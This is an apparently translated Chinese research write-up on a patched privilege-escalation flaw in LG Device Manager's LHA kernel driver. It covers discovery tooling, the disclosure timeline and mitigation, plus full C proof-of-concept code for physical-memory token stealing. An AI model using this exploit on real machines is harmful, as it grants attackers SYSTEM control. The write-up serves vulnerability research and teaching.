概述
本文主要分析LG内核驱动程序的本地权限提升漏洞,其中包含有关深入挖掘漏洞的教程,以及有关两个新工具的详细信息。
最后,我们共同了解如何选择有价值的驱动程序漏洞研究目标,分析它们所存在的漏洞,并学习提升权限的漏洞利用开发技术。如果这听上去符合你的需要,那么请各位读者仔细阅读本篇文章。
· 第一部分:漏洞详细信息
· 第二部分:漏洞探索分析
· 第三部分:漏洞利用分析
漏洞摘要
LHA内核模式驱动程序(lha.sys/lha32.sys,v1.1.1703.1700)与LG Device Manager系统服务相关联。如果检测到BIOS中的产品名称含有下列字符,则该服务会加载驱动程序:T350,10T370,15U560,15UD560,14Z960,14ZD960,15Z960,15ZD960或Skylake Platform。这可能表明,将会针对第6代英特尔酷睿处理器(Skylake)的相关型号进行驱动程序的加载。
该驱动程序用于低级硬件访问(Low-level Hardware Access),包括可以用于读写任意物理内存的LOCTL调度功能。加载后,非管理用户可以访问驱动程序创建的设备,这可以允许他们使用这些功能来提升权限。如下图所示,这些功能用于通过在物理内存中搜索系统进程的EPROCESS安全令牌并将其写入PowerShell进程的EPROCESS结构来提升标准帐户的权限。
我们建议的缓解措施,是使用IoCreateDeviceSecure替换掉驱动程序中的IoCreateDevice调用。这将会通过指定SDDL字符串实现外层防御,仅允许在SYSTEM上下文中运行的进程能够创建句柄。考虑到Device Manager服务在该上下文中执行,因此这一过程理论上不会干扰器加载和使用驱动程序的能力。
披露时间表
2018年11月11日 发现漏洞
2018年11月14日 针对Windows 7 x64开发了概念证明
2018年11月17日 重构漏洞利用程序,提升稳定性、可读性以及与Windows 10 x64的兼容性
2018年11月18日 向LG PSRT提交漏洞,并收到确认
2018年11月21日 LG PSRT反馈将尽快修复漏洞
2018年11月26日 LG PSRT请求对更新版本的驱动程序进行漏洞验证
2018年11月27日 驱动程序已通过验证
2019年2月13日 收到已经发布补丁的确认
LG PSRT团队响应迅速,我们与他们开展合作的过程中非常愉快。他们用了一个星期的时间来开发更新,这在类似的组织中并不常见。如果有机会,我愿意与他们再次开展合作。
技术分析概述
接下来,我们将介绍漏洞的发现方式,说明漏洞利用的开发过程,并讲解其他的一些问题。通过这样的讲解方式,我希望能使那些已经熟悉Windows逆向工程但又不熟悉驱动程序漏洞研究的读者更容易理解。在文章的最后,我提供了一些推荐的相关资源和文章,如果各位有任何需要,请随时与我联系。
漏洞发现
我们要以进攻的思维方式,去寻找OEM或企业主映像中存在的漏洞。因为广泛的部署可能会产生一些问题。我们要寻找的目标,通常包括远程代码执行(RCE)、本地权限提升(LPE)以及敏感数据泄露。我此前曾经发表过一篇方法论介绍。
当我们研究本地权限提升的软件漏洞时,我们可以查找引入主映像的自定义项,例如在特权上下文中运行的系统服务和内核模式驱动程序,在这个过程中,我们可能无法做更多的详细检查。关于本地权限提升的不同方法,我建议大家阅读Teymur Kheirkhabarov的演讲内容。总体来说,找到本地权限提升后,应该尽量与远程代码执行相结合。如果目标用户已经是大多数用户主机上的管理员,那么本地权限提升漏洞可能不是必须的。
当我对这个驱动程序进行漏洞挖掘时,我首先使用DriverView和driverquery工具,查看了加载的驱动程序列表,从而找到比较少见、并且获得较少安全关注的LG驱动程序或第三方驱动程序。我发现,LHA驱动程序将会从Program Files加载,而不是C:\Windows\system32\drivers,这一点非常特殊。由于该驱动程序位于LG Device Manager的目录中,因此我们有必要分析这些二进制文件,以了解它们是如何与驱动程序进行交互的。这样一来,我们将得到驱动程序加载方式,以及用户模式程序如何与之交互的上下文。后者对于将更多语义上下文转换为IDA中可能出现的令人迷惑的反汇编数组尤其有用。
关于语义上下文这个话题,我们进行了一些搜索,发现LHA.sys中的“LHA”是“低级硬件访问”(Low-level Hardware Access)的缩写。这种类型的驱动程序允许OEM开发的系统服务触发系统管理中断(SMI)以及读写物理内存和特定模型寄存器(MSR),所有这些都属于只能在内核模式中发生的特权操作。在华硕、MSI和戴尔制造的类似驱动程序中也发现了漏洞。Alex Matrosov还描述了Rootkit开发过程中这些驱动程序的“双重用途”性质。
由于我们要尝试的方法不是特别新颖,因此借鉴此前的经验,我们已经有了一条明确的道路。
在这里,我们应该确定:
1、加载驱动程序的约束条件(例如:何时加载、如何加载);
2、低特权进程(LPP)是否可以与之交互;
3、如果可以,是否存在任何可能被滥用于本地权限提升的功能。
DeviceManager.exe二进制文件似乎是一个.NET程序集,所以我们来仔细观察一下dnSpy,这是一个.NET反编译器和调试器。我们可以通过下载Device Manager安装程序来完成。我们看到,有一个driverInitialize方法可以安装和加载驱动程序。
相同的命令行如下所示,请注意binPath=和type=后面的空格。
λ sc create LHA.sys binpath= "C:\Program Files (x86)\LG Software\LG Device Manager\lha.sys" type= kernel [SC] CreateService SUCCESS λ sc start LHA.sys SERVICE_NAME: LHA.sys TYPE : 1 KERNEL_DRIVER STATE : 4 RUNNING (STOPPABLE, NOT_PAUSABLE, IGNORES_SHUTDOWN) WIN32_EXIT_CODE : 0 (0x0) SERVICE_EXIT_CODE : 0 (0x0) CHECKPOINT : 0x0 WAIT_HINT : 0x0 PID : 0 FLAGS :
现在,我们就明白了驱动程序的加载方式,并且了解是何时加载的。我们呢可以在dnSpy中选择方法名称,然后按Ctrl+Shift+R分析调用流。我们要分析从服务的OnStart方法开始,并向driverInitialize方法流动的调用过程。OnStart方法首先确定单元的模型,然后调用特定于当前模型的OnStartForXXXXXX函数。这些特定于模型的函数子集最终将调用driverInitialize。从许多模型特定函数调用的ResumeTimer_Elapsed方法与Timer对象相关联,这意味着它不会立即执行(例如,会延迟20-120秒,这取决于模型)。
尽管看起来这个驱动程序加载在模型的一个子集上,但我们仍然有必要检查用户影响的输入的可控制范围。如果我们能够欺骗onStart方法,使之认为当前模型实际上是来自子集的模型(例如:15Z960而不是15Z980),那么我们就可以将执行流程转向最终将调用driverInitialize的分支。事实证明,这一过程会从HKLM\HARDWARE\DESCRIPTION\System\BIOS中获取型号。由于这是在HKEY_LOCAL_MACHINE注册表配置单元中,因此LPP将无法修改其内容。如果这是可行的,那么我们可以在这里做更深入的研究,因为有很多更简单的方法可以实现本地权限提升。
我们现在知道,当服务从白名单识别单元的模型时,驱动程序会加载,并且在服务启动后它不会立即加载。现在,我们应该了解LPP如何与它进行交互。并非每个方法都能最终成功实现本地权限提升,如果我们进行一些初步侦查,将会有助于确定是否值得再继续挖掘。为了让低权限用户与驱动程序实现交互,必须满足以下条件:
1、必须加载驱动程序并创建设备对象;
2、设备对象必须具有与之关联的符号链接;
3、必须配置设备对象的DACL,以便使非管理员可以读取、写入。
驱动程序初始侦查工具DIRT可以帮助识别那些使用--lp-only选项的潜在目标。如下所示,加载LHA驱动程序并创建一个设备对象。LPP可以访问该设备,因为它具有开放式DACL和符号链接(\\.\Global\{E8F2FF20-6AF7-4914-9398-CE2132FE170F})。它还具有一个注册的DispatchDeviceControl函数,指示其已经定义了IOCTL调度函数,可以通过DeviceIoControl从用户模式调用。
λ dirt.exe --no-msft --lp-only DIRT v0.1.1: Driver Initial Reconnaisance Tool (@Jackson_T) Repository: https://github.com/jthuraisamy/DIRT Compiled on: Aug 25 2018 19:25:11 INFO: Hiding Microsoft drivers (--no-msft). INFO: Only showing drivers that low-privileged users can interface with (--lp-only). lha.sys: lha.sys (LG Electronics Inc.) Path: C:\Program Files (x86)\LG Software\LG Device Manager\lha.sys DispatchDeviceControl: 0xFFFFF8012E9C32E0 Devices: 1 └── \Device\{E8F2FF20-6AF7-4914-9398-CE2132FE170F} (open DACL, 1 symlinks) └── \\.\Global\{E8F2FF20-6AF7-4914-9398-CE2132FE170F}
DeviceIoControl是与驱动程序交互的一种方式,其他方式包括ReadFile和WriteFile。为了使驱动程序从用户模式程序接收DeviceIoControl请求,它必须定义DispatchDeviceControl函数并在其MajorFunction分派表的IRP_MJ_DEVICE_CONTROL索引中注册其入口点。我们可以运行WinDbg或WinObjEx64(以管理员权限),通过选择驱动程序并查看其属性来查看其属性,以此查看注册的功能:
这是它适用于Windows驱动程序模型(WDM)的方式。还有内核模式驱动程序框架(KMDF),它被视为是WDM的精简版后继者,此外还有用于图形驱动程序的Windows显示驱动程序模型(WDDM)。在本文最后,我们提供了一些参考资源,可以阅读以了解这些模型。
让我们深入了解IDA的DispatchDeviceControl函数。在函数窗口中,我们能够键入为该函数(2E0)表示的地址DIRT的最后三位数字,其结果列表将明显变短。当我们看到许多分支表示如下所示的跳转表时,我们就能意识到,现在已经处于正确的函数中。从这里,我们可以浏览分支,并识别每个IOCTL及其功能。
如果我们已经拥有了Hex-Rays反编译器的授权证书,那么就可以更加轻松(可以计算一些IOCTL代码,将适当的命名传递给Windows API变量和常量等)。尽管并不会完全准确,但我更喜欢在正确的抽象层次上操作(即使它只是一个近似值),只有在必要时我们才深入到反汇编的海洋中。
让我们深入研究一下可以读取任意内存的调度函数(IOCTL 0x9C402FD8)。带注释的反汇编及对应的伪代码如下所示。在我们阅读此函数后,我们就应该可以确定实现任意内存写入的函数。
我们可以根据它们的用法来推断变量名称,并且伪代码中输入缓冲区的结构也可以通过var_InputBuffer_Copy1和var_InputBuffer_Copy2的解引用来推断。该函数首先对DeviceIoControl中提供的长度执行验证检查,以确保输入缓冲区长度满足最少12个字节,并且输出缓冲区长度等于或大于请求结构中指定的长度。如果这些检查通过,则使用MmMapIoSpace将指定的物理内存范围映射到非分页系统空间,并循环该范围以将每个字节复制到用户缓冲区中。循环完成后,使用MmUnmapIoSpace取消映射物理内存,并到达函数结尾。
typedef struct { DWORDLONG address; DWORD length; } REQUEST; NTSTATUS function ReadPhysicalMemory(REQUEST* inBuffer, DWORD inLength, DWORD outLength, PBYTE outBuffer) { NTSTATUS statusCode = 0; if ((inLength >= 12) && (outLength >= *inBuffer.length)) { PVOID mappedMemory = MmMapIoSpace(*inBuffer.address, *inBuffer.length, MmNonCached); for (int i = 0; i < *inBuffer.length; i++) outBuffer[i] = mappedMemory[i]; MmUnmapIoSpace(*inBuffer.address, *inBuffer.length); } else { DbgPrint("LHA: ReadMemBlockQw Failed\n"); statusCode = STATUS_BUFFER_TOO_SMALL; } return statusCode; }
总结一下,我们假设IOCTL调度功能用于读取物理内存的约束条件是:
1、输入缓冲区是一个包含要开始读取的物理地址和要读取的字节数的结构;
2、输入缓冲区的大小必须至少为12字节(地址为8字节QWORD,长度为4字节DWORD);
3、输出缓冲区的大小必须至少为输入结构中指定的长度。
我们可以使用名为ioctlpus的工具来动态测试我们对此调度函数的假设。这使得DeviceIoControl请求具有任意输入,并具有类似于Burp Repeater的接口。在我花时间理解特定的IOCTL调度函数和返回内容之后,我希望验证我的假设,因此我也是基于这个目的进行编写的。尽管它有些笨猪,但每次我想要围绕特定的IOCTL函数进行重新编译时,它都能帮助节省大量代码更改所需的时间。
我们以非管理员用户运行,并向其发送一个读取请求,我们在偏移0x10000000处读取0xFFFF字节:
1、设置DIRT识别的路径:\\.\Global\{E8F2FF20-6AF7-4914-9398-CE2132FE170F} 。
2、将IOCTL代码设置为:9C402FD8。
3、将输入大小设置为:C(十六进制表示的12个字节)。
4、将输出大小设置为:FFFF(十六进制表示的65535字节)。
5、将输入缓冲区的偏移量0(结构中的address参数)设置为00 00 00 01 00 00 00 00(Little-endian)。
6、将偏移量8处的输入缓冲区(长度参数)设置为FF FF 00 00(Little-endian)。
7、单击“Send”(发送)按钮。
成功了!它可能看起来不是太多,但在这个发现过程中我们已经确认:
1、驱动程序加载的条件;
2、确实可以在加载时从LPP访问;
3、其中包含一些易受攻击的函数(例如:读写任意物理内存)。
但是,还有更多!
漏洞利用开发
使用这些读写原语,我们可以找出实现本地权限提升的策略。通过访问内核内存,我们可以执行“令牌窃取”攻击(实际上,更像是“令牌复制”)。
对于每个进程,内核都定义一个用作进程对象的EPROCESS结构。每个结构都包含一个安全令牌,目标是将一个LPP的令牌替换为一个以SYSTEM身份运行的进程。这里,有几点需要注意:
1、首先,围绕令牌窃取的典型策略依赖于虚拟内存地址,我们无法使用我们的原语实现解除引用。相反,我们可以采用大海捞针的方法,并且在我们知道与某个结构相关联的物理内存中找到字节缓冲区。
2、其次,EPROCESS结构是不透明的,并且很容易在Windows版本之间进行更改。在计算偏移量时要注意这一点。Petr Beneš的NtDiff工具可以帮助确定版本之间的这些偏移变化。
我们将按照漏洞利用开发的顺序,深入研究漏洞利用代码。在进行之前,我们首先回顾下面的图表,从整体了解执行流程:
我们首先希望为驱动程序创建的设备创建一个句柄,以便我们可以与之进行交互。之后,我们希望能识别出来父进程,以便可以实现提升。例如,如果我们启动PowerShell,然后执行漏洞利用,这将会导致后续的所有命令都以SYSTEM权限执行。一旦我们确定了父进程,我们将为EPROCESS结构构建我们自己的“针”,并在物理内存“haystack”中找到它们。在识别出两种结构之后,我们将令牌从System EPROCESS结构复制到PowerShell中。
请记住,这只是一种策略。当我们深入到细节时,可能发现它不是最可靠或最准确的。ReWolf和hatRiot提出了不同的攻击方法,值得进行尝试。
第1步:与LHA驱动程序连接
有3个函数用于与驱动程序连接。get_device_handle用于使用CreateFile创建设备句柄,方法与创建文件句柄的方式相同,以便我们可以读取或写入文件。使用句柄,我们可以通过DeviceIoControl API将请求发送到驱动程序的DispatchDeviceControl函数。 phymem_read和phymem_write是使用DeviceIoControl向驱动程序发出适当请求的包装函数。我们根据从IDA推断出的内容,使用ioctlpus进行验证后,即可定义READ_REQUEST和WRITE_REQUEST结构。
#define DEVICE_SYMBOLIC_LINK "\\\\.\\{E8F2FF20-6AF7-4914-9398-CE2132FE170F}" #define IOCTL_READ_PHYSICAL_MEMORY 0x9C402FD8 #define IOCTL_WRITE_PHYSICAL_MEMORY 0x9C402FDC typedef struct { DWORDLONG address; DWORD length; } READ_REQUEST; typedef struct { DWORDLONG address; DWORD length; DWORDLONG buffer; } WRITE_REQUEST; HANDLE get_device_handle(char* device_symbolic_link) { HANDLE device_handle = INVALID_HANDLE_VALUE; device_handle = CreateFileA(device_symbolic_link, // Device to open GENERIC_READ | GENERIC_WRITE, // Request R/W access FILE_SHARE_READ | FILE_SHARE_WRITE, // Allow other processes to R/W NULL, // Default security attributes OPEN_EXISTING, // Default disposition 0, // No flags/attributes NULL); // Don't copy attributes return device_handle; } PBYTE phymem_read(HANDLE device_handle, DWORDLONG address, DWORD length) { // Prepare input and output buffers. READ_REQUEST input_buffer = { address, length }; PBYTE output_buffer = (PBYTE)malloc(length); DWORD bytes_returned = 0; DeviceIoControl(device_handle, // Device to be queried IOCTL_READ_PHYSICAL_MEMORY, // Operation to perform &input_buffer, // Input buffer pointer sizeof(input_buffer), // Input buffer size output_buffer, // Output buffer pointer length, // Output buffer size &bytes_returned, // Number of bytes returned (LPOVERLAPPED)NULL); // Synchronous I/O return output_buffer; } DWORD phymem_write(HANDLE device_handle, DWORDLONG address, DWORD length, DWORDLONG buffer) { // Prepare input and output buffers. WRITE_REQUEST input_buffer = { address, length, buffer }; DWORD output_address = NULL; DWORD bytes_returned = 0; DeviceIoControl(device_handle, // Device to be queried IOCTL_WRITE_PHYSICAL_MEMORY, // Operation to perform &input_buffer, // Input buffer pointer sizeof(input_buffer), // Input buffer size (PVOID)&output_address, // Output buffer pointer sizeof(output_address), // Output buffer size &bytes_returned, // Number of bytes returned (LPOVERLAPPED)NULL); // Synchronous I/O return output_address; }
第2步:在物理内存中查找EPROCESS结构
另一个函数phymem_find是在phymem_read之上创建的,因此它可以在内存中找到缓冲区。 memmem函数的实现也支持phymem_find,其功能与strstr类似,但支持具有空字节的缓冲区。 phymem_find接受一系列地址(start_address和stop_address),要读取的缓冲区的大小(search_space)以及要查找的缓冲区(search_buffer和buffer_len)。
int memmem(PBYTE haystack, DWORD haystack_size, PBYTE needle, DWORD needle_size) { int haystack_offset = 0; int needle_offset = 0; haystack_size -= needle_size; for (haystack_offset = 0; haystack_offset <= haystack_size; haystack_offset++) { for (needle_offset = 0; needle_offset < needle_size; needle_offset++) if (haystack[haystack_offset + needle_offset] != needle[needle_offset]) break; // Next character in haystack. if (needle_offset == needle_size) return haystack_offset; } return -1; } DWORDLONG phymem_find(HANDLE device_handle, DWORDLONG start_address, DWORDLONG stop_address, DWORD search_space, PBYTE search_buffer, DWORD buffer_len) { DWORDLONG match_address = -1; // Cap the search space to the max available. if ((start_address + search_space) > stop_address) return match_address; PBYTE read_buffer = phymem_read(device_handle, start_address, search_space); int offset = memmem(read_buffer, search_space, search_buffer, buffer_len); free(read_buffer); if (offset >= 0) match_address = start_address + offset; return match_address; }
既然我们能够使用phymem_find搜索物理内存,我们就会想要开发一种查找EPROCESS结构的功能。理想情况下,我们的搜索缓冲区(或“针”)应该是有效、可靠并且简约的结构。一旦确定后,我们就可以在固定的偏移位置找到我们的安全令牌。我们可以使用WinDbg找到“针”的潜在候选者:
0: kd> * Get a listing of processes and their EPROCESS addresses. 0: kd> !dml_proc Address PID Image file name ffffb704`2d0993c0 4 System ffffb704`31d8b040 198 smss.exe ... snip ... 0: kd> * Dump EPROCESS struct for System process. 0: kd> dt nt!_EPROCESS ffffb704`2d0993c0 +0x000 Pcb : _KPROCESS +0x2d8 ProcessLock : _EX_PUSH_LOCK +0x2e0 UniqueProcessId : 0x00000000`00000004 Void +0x2e8 ActiveProcessLinks : _LIST_ENTRY [ 0xffffb704`31d8b328 - 0xfffff803`8c3f3c20 ] +0x2f8 RundownProtect : _EX_RUNDOWN_REF ... snip ... +0x358 Token : _EX_FAST_REF ... snip ... +0x448 ImageFilePointer : (null) +0x450 ImageFileName : [15] "System" +0x45f PriorityClass : 0x2 '' +0x460 SecurityPort : (null)
我们将知道我们所针对的每个进程的名称和PID,因此UniqueProcessId和ImageFileName字段应该是很好的候选者。问题是我们无法准确预测它们之间每个字段的值。相反,我们可以定义两个针:一个具有ImageFileName,另一个具有UniqueProcessId。我们可以看到它们相应的字节缓冲区具有可预测的输出。
0: kd> * Show byte buffer for ImageFileName ("System") + PriorityClass (0x00000002): 0: kd> db ffffb704`2d0993c0+450 l0x13 ffffb704`2d099810 53 79 73 74 65 6d 00 00-00 00 00 00 00 00 00 02 System.......... ffffb704`2d099820 00 00 00 ... 0: kd> * Show byte buffer for ProcessLock (0x00000000`00000000) + UniqueProcessId (0x00000000`00000004): 0: kd> db ffffb704`2d0993c0+2d8 l0x10 ffffb704`2d099698 00 00 00 00 00 00 00 00-04 00 00 00 00 00 00 00 ................
让我们定义这些针的结构和phymem_find_eprocess函数,当提供地址范围和两个针时,它将查找并返回过程对象的物理地址。它将首先查找ImageFileName + PriorityClass,如果匹配,则通过在固定偏移处检查ProcessLock + UniqueProcessId来确认。这些额外的字段将有助于我们确认在内存中找到的数据就是所需的数据。
// EPROCESS offsets (Windows 10 v1703-1903): #define OFFSET_PROCESSLOCK 0x2D8 #define OFFSET_TOKEN 0x358 #define OFFSET_IMAGEFILENAME 0x450 typedef struct { DWORDLONG ProcessLock; DWORDLONG UniqueProcessID; } EPROCESS_NEEDLE_01; typedef struct { CHAR ImageFileName[15]; DWORD PriorityClass; } EPROCESS_NEEDLE_02; DWORDLONG phymem_find_eprocess(HANDLE device_handle, DWORDLONG start_address, DWORDLONG stop_address, EPROCESS_NEEDLE_01 needle_01, EPROCESS_NEEDLE_02 needle_02) { DWORDLONG search_address = start_address; DWORDLONG match_address = NULL; DWORDLONG eprocess_addr = NULL; DWORD search_space = 0x00001000; PBYTE needle_buffer_01 = (PBYTE)malloc(sizeof(EPROCESS_NEEDLE_01)); memcpy(needle_buffer_01, &needle_01, sizeof(EPROCESS_NEEDLE_01)); PBYTE needle_buffer_02 = (PBYTE)malloc(sizeof(EPROCESS_NEEDLE_02)); memcpy(needle_buffer_02, &needle_02, sizeof(EPROCESS_NEEDLE_02)); while (TRUE) { if ((search_address + search_space) >= stop_address) { free(needle_buffer_01); free(needle_buffer_02); return match_address; } if (search_address % 0x100000 == 0) { printf("Searching from address: 0x%016I64X.\r", search_address); fflush(stdout); } match_address = phymem_find(device_handle, search_address, stop_address, search_space, needle_buffer_02, sizeof(EPROCESS_NEEDLE_02)); if (match_address > search_address) { eprocess_addr = match_address - OFFSET_IMAGEFILENAME; PBYTE buf = phymem_read(device_handle, eprocess_addr + OFFSET_PROCESSLOCK, sizeof(EPROCESS_NEEDLE_01)); if (memcmp(needle_buffer_01, buf, sizeof(EPROCESS_NEEDLE_01)) == 0) return eprocess_addr; else free(buf); } search_address += search_space; } free(needle_buffer_01); free(needle_buffer_02); return 0; }
我们可以通过这种方法,预见一些潜在的问题:
1、可靠性:PriorityClass和ProcessLock是否总会具有我们期望的值?
2、有效性:它能否返回一个实际上不是EPROCESS结构的匹配内容?
3、效率:我们如何确定能够在最短时间内返回结果的最佳起始地址?
我只是凭借经验研究了上述内容,发现大多数都有效。在涉及到地址范围的问题时,我也遇到了与ReWolf相同的问题,因为它正在访问为硬件I/O保留的地址,因此扫描的过程将会明显减慢。使用NtQuerySystemInformation可以将这些资范围列入黑名单,但需要提升权限,因此在目前是没有用的。我测试的主机至少有8GB的内存,因此从偏移量0x100000000开始似乎是一个不错的选择。
第3步:查找父进程
我们知道,系统进程的名称和PID将是不变的,但我们不能确保漏洞的父进程相同。因此,我们应该弄清楚这些值是什么,这样就可以进一步填充针结构。我们可以为此定义两个函数:一个查找当前进程的PID(get_parent_pid),另一个是获取指定进程的名称(get_process_name)。二者都使用CreateToolhelp32Snapshot和Process32First/Next APIs遍历进程列表。
DWORD get_parent_pid(DWORD pid) { HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); PROCESSENTRY32 pe32 = { 0 }; pe32.dwSize = sizeof(PROCESSENTRY32); Process32First(hSnapshot, &pe32); do { if (pe32.th32ProcessID == pid) return pe32.th32ParentProcessID; } while (Process32Next(hSnapshot, &pe32)); return 0; } void get_process_name(DWORD pid, PVOID buffer_ptr) { HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); PROCESSENTRY32 pe32 = { 0 }; pe32.dwSize = sizeof(PROCESSENTRY32); Process32First(hSnapshot, &pe32); do { if (pe32.th32ProcessID == pid) { memcpy(buffer_ptr, &pe32.szExeFile, strlen(pe32.szExeFile)); return; } } while (Process32Next(hSnapshot, &pe32)); }
第4步:窃取系统令牌
现在,我们有了获取系统和父进程的EPROCESS结构地址的方法,我们可以从系统进程中读取安全性令牌,并使用我们的读写原语将其复制到父进程中。
void duplicate_token(HANDLE device_handle, DWORDLONG source_eprocess, DWORDLONG target_eprocess) { DWORDLONG source_token = NULL; DWORDLONG target_token = NULL; // Read security token of System into source_token. memcpy(&source_token, phymem_read(device_handle, source_eprocess + OFFSET_TOKEN, sizeof(DWORDLONG)), sizeof(DWORDLONG)); printf("Source token (0x%016I64X): 0x%016I64X.\n", source_eprocess + OFFSET_TOKEN, source_token); // Read security token of parent process into target_token. memcpy(&target_token, phymem_read(device_handle, target_eprocess + OFFSET_TOKEN, sizeof(DWORDLONG)), sizeof(DWORDLONG)); printf("Target token (0x%016I64X): 0x%016I64X.\n\n", target_eprocess + OFFSET_TOKEN, target_token); // Copy source token into target token. target_token = source_token; printf("Target token (0x%016I64X): 0x%016I64X => pre-commit.\n", target_eprocess + OFFSET_TOKEN, target_token); phymem_write(device_handle, target_eprocess + OFFSET_TOKEN, sizeof(DWORDLONG), target_token); // Read target token again to verify. memcpy(&target_token, phymem_read(device_handle, target_eprocess + OFFSET_TOKEN, sizeof(DWORDLONG)), sizeof(DWORDLONG)); printf("Target token (0x%016I64X): 0x%016I64X => post-commit.\n", target_eprocess + OFFSET_TOKEN, target_token); }
第5步:组合利用
在这里,将前面所有步骤进行组合利用,以便我们可以实现权限提升。
回顾一下,我们为DeviceIoControl创建了包装器函数,以便我们可以与驱动程序接口一起读写任意内存。然后,我们扩展了读取函数,以在内存haystack中搜索针,并对其进行扩展,以使用我们定义的针结构搜索EPROCESS结构。在开发查找父进程的功能之后,我们就可以识别EPROCESS结构,并将它们传递给将执行令牌窃取操作的函数。
int main() { printf("LG Device Manager LHA Driver LPE POC (@Jackson_T)\n"); printf("Compiled on: %s %s\n", __DATE__, __TIME__); printf("Tested on: Windows 10 x64 v1709\n\n"); // Get a handle to the LHA driver's device. HANDLE device_handle = get_device_handle(DEVICE_SYMBOLIC_LINK); DWORDLONG root_pid = 4; DWORDLONG user_pid = get_parent_pid(GetCurrentProcessId()); DWORDLONG root_eprocess = NULL; DWORDLONG user_eprocess = NULL; DWORDLONG start_address = 0x100000000; DWORDLONG stop_address = _UI64_MAX; // Define our needles. EPROCESS_NEEDLE_01 needle_root_process_01 = { 0, root_pid }; EPROCESS_NEEDLE_02 needle_root_process_02 = { "System", 2 }; EPROCESS_NEEDLE_01 needle_user_process_01 = { 0, user_pid }; EPROCESS_NEEDLE_02 needle_user_process_02 = { 0 }; get_process_name(user_pid, &needle_user_process_02.ImageFileName); needle_user_process_02.PriorityClass = 2; // Search for the EPROCESS structures. printf("Finding EPROCESS Tokens in System (PID=%d) and %s (PID=%d)...\n\n", (DWORD)root_pid, needle_user_process_02.ImageFileName, (DWORD)user_pid); printf("Search range start: 0x%016I64X.\n", start_address, stop_address); root_eprocess = phymem_find_eprocess(device_handle, start_address, stop_address, needle_root_process_01, needle_root_process_02); printf("EPROCESS for %08Id: 0x%016I64X.\n", root_pid, root_eprocess); user_eprocess = phymem_find_eprocess(device_handle, start_address, stop_address, needle_user_process_01, needle_user_process_02); printf("EPROCESS for %08Id: 0x%016I64X.\n\n", user_pid, user_eprocess); // Perform token stealing. duplicate_token(device_handle, root_eprocess, user_eprocess); CloseHandle(device_handle); if (strcmp(needle_user_process_02.ImageFileName, "explorer.exe") == 0) { printf("\nPress [Enter] to exit..."); while (getchar() != '\n'); } return 0; }
如果所有编译都按照预期完成,我们应该看到漏洞利用能够成功:
感谢各位读者抽出时间阅读。如果大家有任何反馈、问题或者发现任何问题,请与我联系。
最后,感谢ReWolf、hatRiot、gsuberland、slipstream/RoL、matrosov和LGE PSRT。
参考资料
图书:
内核漏洞开发指南(Perla和Oldani,2010年)
实用逆向工程(Dang、Gazet、Bachaalany,2014年)
方法论漫谈:
WDM:Windows驱动程序攻击面(Van Sprundel,2015年)
KMDF:KMDF驱动程序的逆向工程和漏洞狩猎(Nissim,2018年)
WDDM:Windows内核图形驱动程序攻击面(Van Sprundel,2014年)
Windows LPE技术:
在Windows环境中寻找特权提升(Kheirkhabarov,2018年)
Windows权限提升指南(McFarland,2018年)
滥用LPE的令牌权限(Alexander和Breen,2017年)
Whoami/priv:滥用令牌权限(Pierini,2018年)
还没有评论,来说两句吧...